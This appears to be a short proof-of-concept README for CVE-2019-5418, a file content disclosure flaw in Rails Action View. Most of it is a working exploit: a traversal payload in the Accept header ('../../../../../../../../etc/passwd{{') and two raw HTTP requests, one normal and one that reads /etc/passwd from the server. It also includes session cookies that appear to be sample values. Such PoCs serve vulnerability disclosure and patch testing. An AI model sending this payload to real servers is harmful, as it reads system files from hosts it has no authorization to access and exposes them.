CVE-2019-5418 PoC — Action View 信息泄露漏洞

Description

File Content Disclosure on Rails Test Case - CVE-2019-5418

介绍

# CVE-2019-5418 Test case 

Run : 
```sh
$ rails s
```

PoC : 
```html
Accept: ../../../../../../../../etc/passwd{{
```

--- 
Req 1 - 
```sh
GET /shitblock HTTP/1.1
Host: REDACTED:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: diyarbakir_guzel_baglar_delale_lorke <------ CATCH
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```

![normal-request](https://github.com/omarkurt/CVE-2019-5418/blob/master/2.png)


Req 2 - 
```sh
GET /shitblock HTTP/1.1
Host: REDACTED:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```


![PoC](https://github.com/omarkurt/CVE-2019-5418/blob/master/PoC.png)


Source : [File Content Disclosure on Rail - CVE-2019-5418](https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/)

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